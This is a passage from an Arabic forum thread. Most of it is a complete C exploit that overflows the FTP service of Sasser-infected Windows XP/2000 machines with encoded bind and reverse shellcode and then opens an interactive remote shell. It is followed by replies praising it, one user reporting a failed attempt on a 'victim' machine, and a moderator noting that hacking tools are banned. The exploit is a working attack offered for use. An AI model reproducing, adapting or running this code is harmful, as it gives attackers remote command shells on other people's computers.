greets: rosecurity team
discovery: edcba
note: sasser.e has its ftpd on port 1023

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 5554

struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },
{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};

unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}

void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 530]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");

printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

exit(1);
}

void shell(int s) {
char buff[4096];
int retval;
fd_set fds;

printf("[+] connected!\n\n");

for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);

if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");

if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}

if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}

void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;

sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);

s=socket(2,1,6);

if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}

listen(s,1);

s=accept(s,(struct sockaddr *)&sin,&slen);

shell(s);
printf("crap\n");
}

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};

printf(BANNER "\n");

if (argc==1)
usage(argv[0]);

for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);

switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}

if (verbose)
printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);
}

printf("[.] using type '%s'\n",targets[type].os);

// -------------------- core

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}

printf("[+] connected, sending exploit\n");

buff=(char *)malloc(4096);
bzero(buff,4096);

sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);

memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);

setoff(targets[type].gpa, targets[type].lla);

if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));

send(s,buff,strlen(buff),0);

free(buff);

close(s);

// -------------------- end of core

if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}

if (pid) wait(&pid);

exit(0);
}

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

اخي bigboss1988 ممكن بس تشرحنا شرح بسيط جدا عن فايروس ساسر يعني شو بضر شو بيعمل

وشكرا

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

سلاااااااااام

اجى سؤالي جدا متأخر ......... لكن هذا لاني قرات الموضوع حديثا

هلأ متل ما ذكر الأخ jaas

انه عند ادخال ال IP لجهاز الضحية رح يتم الاتصال

هل شرط الجهازين يكونوا ضمن LAN واحدة

ام انه اي جهاز على النت ممكن اختراقه ؟

حاولت تجربة الكود المرفق (مع علم الضحية) لكن للأسف لم يتم الدخول

شو السبب

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

شكرا لك يا أخي على الدرس الرائع

مع أنني لست مبرمجا لكني تابعت درسك جيدا وشكرا لك

ولكن يأأخي هناك شئ

أدعوك لتحميل الزيب الذي وضعته في الدرس وفك الضغط من عليه

ماذا يحدث وماهو هاذا الشئ

والمعذرة على الإزعاج وشكرا على الدرس

http://www.arabteam2000.com/files/Code/fil...mbb.zip

.

.

.

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

السلام عليكم

الف الف الف شكر وتقدير لانك لم تكتم العلم

انا ببساطة اتعلم البرمجة بكل جدية

وقد كنت ابحث عن هذا الموضوع من زمان

ارجو ان تمدني بالمراجع العربية والانكليزية

وجزالله عن الاسلام والمسلمين خير الجزاء

[email protected]

:D

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

لا هنت يابعدي

فعلا موضوع قوي

موفق بأذن الله

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

برنامج استغلال ثغرة lssas

0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه
برنامج فتح منفذ في جهاز الضحيه
برنامج استغلال ثغرة lssas

ممنوع في منتدى الفريق العربي تداول|صناعة|دراسة برامج اختراق او برامج تخريبية

<><><><><>

sorry

تم تعديل بواسطه رغـــــــــد
0

شارك هذا الرد


رابط المشاركة
شارك الرد من خلال المواقع ادناه

من فضلك سجل دخول لتتمكن من التعليق

ستتمكن من اضافه تعليقات بعد التسجيل



سجل دخولك الان

  • يستعرض القسم حالياً   0 members

    لا يوجد أعضاء مسجلين يشاهدون هذه الصفحة .